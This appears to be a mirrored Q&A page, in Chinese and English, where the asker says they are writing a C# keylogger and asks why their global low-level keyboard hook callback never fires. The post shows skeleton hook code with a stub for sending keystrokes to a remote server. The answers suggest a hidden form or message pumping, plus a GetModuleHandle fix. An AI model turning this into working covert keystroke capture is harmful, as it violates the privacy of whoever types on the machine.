.NET 应用程序中未调用低级键盘挂钩

发布于 2024-10-30 18:03:18 字数 1536 浏览 5 评论 0原文

我正在用 C# 编写键盘记录程序,但从键盘事件调用我的钩子方法时遇到一些问题。我的代码看起来正确,但由于某种原因回调没有发生。

以下是相关代码:

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

private const int WH_KEYBOARD_LL = 13;
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookHandle = IntPtr.Zero;

static void Main()
{
    /* install low level global keyboard hook */
    HookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, GetModuleHandle(null), 0);

    /* every 60 seconds, process collected keystrokes */
    for (;;)
    {
        Thread.Sleep(60000);
        SendKeyData();
    }
}

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    /* code to handle key events would be here */

    return CallNextHookEx(HookHandle, nCode, wParam, lParam);
}

private static void SendKeyData()
{
    /* code to send accumulated keystroke data to remote server would be here */
}

SetWindowsHookEx 调用返回一个句柄(即不是 null),因为它应该,所以它应该意味着它已安装,但是当我在 HookCallback< 中放置断点时/code>,它永远不会到达。

谁能告诉我我可能做错了什么?

I am writing a keylogger in C# but am having some trouble getting my hook method called from the keyboard events. My code appears correct but for some reason the callback is not happening.

Here is the relevant code:

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

private const int WH_KEYBOARD_LL = 13;
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookHandle = IntPtr.Zero;

static void Main()
{
    /* install low level global keyboard hook */
    HookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, GetModuleHandle(null), 0);

    /* every 60 seconds, process collected keystrokes */
    for (;;)
    {
        Thread.Sleep(60000);
        SendKeyData();
    }
}

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    /* code to handle key events would be here */

    return CallNextHookEx(HookHandle, nCode, wParam, lParam);
}

private static void SendKeyData()
{
    /* code to send accumulated keystroke data to remote server would be here */
}

The SetWindowsHookEx call returns a handle (i.e. not a null) as it should, so it should mean that it is installed, but when I put a breakpoint in HookCallback, it is never reached.

Can anyone please advise what I may be doing wrong?

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(2

对你再特殊 2024-11-06 18:03:18

看起来您正在编写一个控制台应用程序。这应该是一个表单应用程序,因为您正在处理窗口事件。只需隐藏表单,它就应该可以工作。

作为控制台应用程序的解决方法,您可以在循环中调用 Application.DoEvents()

for (;;)
{
    Thread.Sleep(1);
    Application.DoEvents(); //Process event queue
    SendKeyData();
}

请将此用于做好事,而不是作恶。

Looks like you are writing a console application. This should be a forms application, since you are handling windows events. Just hide the form, and it should work.

As a work-around for console applications, you could call Application.DoEvents() in your loop:

for (;;)
{
    Thread.Sleep(1);
    Application.DoEvents(); //Process event queue
    SendKeyData();
}

Please use this for good, not evil.

帅冕 2024-11-06 18:03:18

尝试替换 GetModuleHandle(null)

GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName)

并看看是否有效。请注意,从 GetCurrentProcess() 返回的 Process 对象和从 MainModule 返回的 ProcessModule 对象都是一次性的,因此您可能需要将它们声明为变量,然后手动处理它们;更好的是,将它们放在 using 块中。

Try replacing GetModuleHandle(null) with

GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName)

and see if that does the trick. Note that both the Process object returned from GetCurrentProcess() and the ProcessModule object returned from MainModule are disposable so you may want to declare them as variables and then dispose of them manually; even better, put them in a using block.

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文